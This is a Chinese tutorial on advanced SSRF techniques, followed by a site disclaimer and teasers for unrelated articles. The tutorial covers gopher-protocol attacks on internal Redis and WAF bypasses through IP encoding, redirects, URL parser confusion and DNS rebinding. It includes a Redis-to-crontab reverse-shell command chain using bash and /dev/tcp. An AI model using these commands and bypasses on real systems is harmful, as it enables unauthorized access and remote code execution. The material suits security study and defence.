SSRF〈2〉

                SSRF的进阶


 

           1.Gopher协议的利用

 

1.gopher协议可以通过url指向指定IP端口发送任意内容,模拟大多数TCP协议,是SSRF中的一把利刃。

gopher协议URL: gopher://<host>:<port>/_<url编码的TCP数据>

这个url编码的TCP数据是gopher如此强大的原因,我们可以将任意TCP协议的流量,url编码后通过gopher这个载体发出去。这里有一个限制就是,gopher协议会一次把流量全部发送出去,这里就要它所承载的数据是无状态的单次链接,比如像有认证的mysql服务,就无法使用gopher来模拟。

 

2.不过gopher也不是在任何情况下都能使用,常见的编程语言对gopher协议的支持如下

 

PHP:--with-curlwrappers且php版本至少为5.3 

 

Java:小于JDK1.7

 

Curl:低版本不支持 

 

Perl:支持 

 

ASP.NET:小于版本3

 

3.使用gopher访问Redis 近些年来出现了大量无认证Redis的手法,但是Redis一般部署在内网,大多数情况下绑定在127.0.0.1:6379,无法从外部直接访问。但是在存在SSRF漏洞的情况下,可以通过gopher协议来访问内网的Redis服务,导致任意的增删改查,甚至造成写入webshell、crontab、SSH公钥等更危险的结果。

Redis协议(RESP)的格式还是较为简单的,对于gopher非常好构造。

 

4.在访问Redis时,可以采用写入Crontab(一种管理工具)的方式反弹shell。流程如下:

redis-cli flushall

echo -e"\n\n*/1****bash -i /dev/tcp/127.0.0.1/8080 0>&1\n\n" | redis-cli -x set 1

redis-cli config set dir /var/spool/cron

redis-cli config set dbfilename root

redis-cli save

我们可以使用socat转发并记录流量,获取Redis协议流。

socat -v tcp-listen:1234,fork tcp-connect=localhost:6379

 

然后将其中的数据转换成gopher协议,把所有我们发出的流量进行url编码。

 

                  2.SSRF的绕过

 

SSRF也存在一些WAF(Web应用防火墙)绕过的场景

1.IP地址变形

如果WAF限制了IP地址,比如只允许外网IP作为参数输入,这时可以采取以下绕过方式:

 

a.改变ip地址的进制 比如可以把127.0.0.1改为十六进制的0x7f000001,或者十进制的2130706433 

 

b.省略0位 可以将127.0.0.1省略为127.1                                                                                               

 

c.特殊写法的ip地址 在windows中0代表0.0.0.0。而在linux中0代表127.0.0.1

 

d.利用Enclosed Alphanumeric代替数字字母 ①②③.④⑤.⑥⑦.⑧⑨

 

2.利用跳转

 

可以使用302跳转到特定IP地址或者使用其他协议,需要服务端进行配置。

 

3.利用URL解析问题,

 

URL的格式较为复杂,不同的实现方式可能造成解析差异,比如

http://a@127.0.0.1:80@baidu.com, 对于php来说,hostname为baidu.com而对于libcurl(<7.54.0)来说hostname为127.0.0.1.

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

 

4.利用DNS

 

可以利用动态解析服务,比如nip.io。它可以将127.0.0.1 nip.io解析为127.0.0.1 

 

DNS重绑定,在某些情况下,后端服务可能采取这样的方法检测SSRF。先对域名进行解析,获得ip地址,判断ip地址合法性,如果合法则将域名传入到请求函数,在请求函数中会对域名做第二次解析。这样一来,如果我们搭建一个DNS服务,在第一次请求解析时返回一个合法的IP,在第二次解析时返回一个内网IP,就能绕过上述检测方式。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/60121.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

sql专题 之 常用命令

文章目录 查询基础语法查询全表查询选择查询&#xff1a;常量和运算&#xff1a; 条件查询where运算符&#xff1a;、 !、<、>空值&#xff1a;null模糊查询&#xff1a;like逻辑运算&#xff1a;and or not 去重&#xff1a;distinct排序&#xff1a;order by截断和偏移…

Java[面试题]-真实面试

1.什么是IOC和AOP&#xff1f;了解么&#xff1f; IOC&#xff08;控制反转&#xff09;和AOP&#xff08;面向切面编程&#xff09; 1. IOC&#xff08;控制反转&#xff09; 概念 IOC&#xff08;Inversion of Control&#xff09;是面向对象编程中的一个设计原则&#xf…

Linux学习笔记之定时任务调度

crond 任务调度 任务调度&#xff1a;指系统在某个时间执行的特定的命令或程序 任务调度分类&#xff1a;1.系统工作&#xff1a;有些重要的工作必须周而复始地执行&#xff0c;如病毒扫描等。 2.个别用户工作&#xff1a;个别用户可能希望执行某些程序&#xff0c;如对mysql数…

MyBatisPlus 用法详解

文章目录 一、快速入门1.1 引入依赖&#xff1a;1.2 定义 Mappper&#xff1a;1.3 使用演示&#xff1a;1.4 常见注解&#xff1a;1.4.1 TableName:1.4.2 TableId&#xff1a;1.4.3 TableField&#xff1a; 1.5 常见配置&#xff1a; 二、核心功能2.1 条件构造器&#xff1a;2.…

C++ -- 多态与虚函数

多态 概念 多态&#xff08;polymorphishm&#xff09;&#xff1a;通常来说&#xff0c;就是指事物的多种形态。在C中&#xff0c;多态可分为编译时多态&#xff08;静态多态&#xff09;和运行时多态&#xff08;动态多态&#xff09;&#xff0c;这里我们重点讲的是运行时多…

ORU 的 Open RAN 管理平面 (M 平面)

[TOC](ORU 的 Open RAN 管理平面 (M 平面)) ORU 的 Open RAN 管理平面 (M 平面) https://www.techplayon.com/open-ran-management-plane-m-plane-for-open-radio-unit/ ORU M 平面 在 ORAN 中&#xff0c;设置参数的 O-RU 管理功能是通过 M-Plane 完成的。管理功能包括 O-…

使用Go语言编写一个简单的NTP服务器

NTP服务介绍 NTP服务器【Network Time Protocol&#xff08;NTP&#xff09;】是用来使计算机时间同步化的一种协议。 应用场景说明 为了确保封闭局域网内多个服务器的时间同步&#xff0c;我们计划部署一个网络时间同步服务器&#xff08;NTP服务器&#xff09;。这一角色将…

分布式和并发模型的比较和讨论记录

参考资料 akka官方文档&#xff0c;https://doc.akka.io/docs/akka/current/typed/guide/introduction.htmlakka官方中文文档&#xff0c;https://github.com/guobinhit/akka-guide/blob/master/README.mdhttps://www.lightbend.com/akka/developers actor-fundamentals&#…

电信网关配置管理系统 upload_channels.php 文件上传致RCE漏洞复现

0x01 产品简介 中国电信集团有限公司(英文名称“China Telecom”、简称“中国电信”)成立于2000年9月,是中国特大型国有通信企业、上海世博会全球合作伙伴。电信网关配置管理系统是一个用于管理和配置电信网络中网关设备的软件系统。它可以帮助网络管理员实现对网关设备的远…

STM32H503开发(2)----STM32CubeProgrammer烧录

STM32H503开发----2.STM32CubeProgrammer烧录 概述硬件准备视频教学样品申请源码下载参考程序自举模式BOOT0设置UART烧录USB烧录 概述 STM32CubeProgrammer (STM32CubeProg) 是一款用于编程STM32产品的全功能多操作系统软件工具。 它提供了一个易用高效的环境&#xff0c;通过…

计算机【基础篇】

-- 选择偶然 操作系统&#xff0c;是程序员写出来的一个用于操控机器硬件的 所谓电脑就是第一台计算机&#xff0c;计算机就是能够接受用户输入的指令和资料&#xff0c;并且通过计算机的中央处理器&#xff08;CPU是计算机的大脑&#xff09;进行数学和逻辑运算后&#xff0c…

Unity Shader分段式血条

Unity Shader分段式血条 前言项目ASE连线 前言 要给单位加一个类似LOL的分段式血条&#xff0c;用ASE实现并记录一下。里面加了旋转和颜色的渐变。 项目 ASE连线

Android笔记(三十五):用责任链模式封装一个App首页Dialog管理工具

背景 项目需要在首页弹一系列弹窗&#xff0c;每个弹窗是否弹出都有自己的策略&#xff0c;以及哪个优先弹出&#xff0c;哪个在上一个关闭后再弹出&#xff0c;为了更好管理&#xff0c;于是封装了一个Dialog管理工具 效果 整体采用责任链模块设计&#xff0c;控制优先级及弹…

【SpringMVC】——Cookie和Session机制

阿华代码&#xff0c;不是逆风&#xff0c;就是我疯 你们的点赞收藏是我前进最大的动力&#xff01;&#xff01; 希望本文内容能够帮助到你&#xff01;&#xff01; 目录 一&#xff1a;实践 1&#xff1a;获取URL中的参数 &#xff08;1&#xff09;PathVariable 2&…

解决:this is incompatible with sql_mode=only_full_group_by

当出现“this is incompatible with sql_modeonly_full_group_by”错误提示时&#xff0c;可以通过以下方法解决&#xff1a; 一、理解问题原因 在 MySQL 中&#xff0c;开启了sql_modeonly_full_group_by模式后&#xff0c;要求 SQL 语句在进行聚合查询时&#xff0c;必须保…

ROS2humble版本使用colcon构建包

colcon与与catkin相比&#xff0c;没有 devel 目录。 创建工作空间 首先&#xff0c;创建一个目录 ( ros2_example_ws ) 来包含我们的工作区: mkdir -p ~/ros2_example_ws/src cd ~/ros2_example_ws 此时&#xff0c;工作区包含一个空目录 src : . └── src1 directory, …

MySQL查询数据被截断

说明&#xff1a;本文记录一个MySQL查询&#xff0c;返回数据被截断的问题&#xff1b; 场景 假设有个用户查询列表&#xff0c;查询条件中有个用户类型&#xff08;普通用户、大会员、黄金大会员、铂金大会员、至尊大会员&#xff09;&#xff0c;是个下拉列表&#xff0c;可…

华为云计算HCIE-Cloud Computing V3.0试验考试北京考场经验分享

北京试验考场 北京考场位置 1.试验考场地址 北京市海淀区北清路156号中关村环保科技示范园区M地块Q21楼 考试场选择北京&#xff0c;就是上面这个地址&#xff0c;在预约考试的时候会显示地址&#xff0c;另外在临近考试的时候也会给你发邮件&#xff0c;邮件内会提示你考试…

GDPU Android移动应用 Broadcast Receiver

聆听广播&#xff0c;跟着节拍吧。 计时器 新建一个名为PhoneStateMonitor的工程&#xff1b; 实现一个应用运行时长的计时器&#xff0c;并在界面上刷新计数器&#xff0c;要求包括&#xff1a; &#xff08;1&#xff09;在Layout中包含两个TextView控件&#xff0c;横向分…

【MySQL基础知识】内置的系统函数(5)

MySQL 中的内置系统函数 MySQL 拥有丰富的内置系统函数&#xff0c;这些函数在数据库操作中发挥着重要作用。它们可以用在各种 SQL 语句中&#xff0c;如 SELECT、WHERE、ORDER BY、HAVING以及UPDATE和DELETE语句中。在函数中&#xff0c;可以将字段名作为变量来使用&#xff…